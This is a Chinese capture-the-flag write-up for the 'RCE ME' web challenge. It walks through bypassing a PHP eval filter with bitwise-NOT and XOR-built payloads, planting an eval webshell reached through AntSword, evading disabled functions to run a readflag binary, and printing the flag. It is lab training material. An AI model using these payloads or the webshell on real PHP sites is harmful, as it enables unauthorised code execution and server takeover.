WEB|[极客大挑战 2019]RCE ME

发布时间 2023-05-06 15:27:17作者: scarecr0w7

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

代码意思就是GET方式传入code,code长度不能大于40,不能是大小写字母和数字,通过检测后就可以执行code
绕过这里没有想出来,看了一些wp说是将要执行的代码取反然后urlencode编码,然后在地址栏再取反,但是这个方法利用失败

?code=(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90:urlencode(~'phpinfo')

后面在网上找到了其他wp
payload:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

构造一句话木马,使用蚊剑连接,在根目录下发现flag文件但是读取不到,还有一个readflag文件

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=@eval($_POST['shell']);


readflag文件为二进制文件,对二进制文件反编译得到代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
	seteuid(0):
	setegid(0):
	setuid(0):
	setgid(0);
	return system("/bin/cat /flag")
}

代码意思是执行这个文件就可以得到flag,但是执行phpinfo发现禁用了许多函数,所以需要绕过

这里直接使用蚁剑自带插件即可绕过

将执行命令的结果保存到文件,因为权限问题可以保存到tmp目录

/readflag > /tmp/1.txt 

得到flag

flag{ab15a1af-32c5-49cd-9d33-d0353c0df161}


也可以使用mm0r1/exploits项目绕过
其他常见PHP代码执行绕过方法见:浅谈PHP代码执行中出现过滤限制的绕过执行方法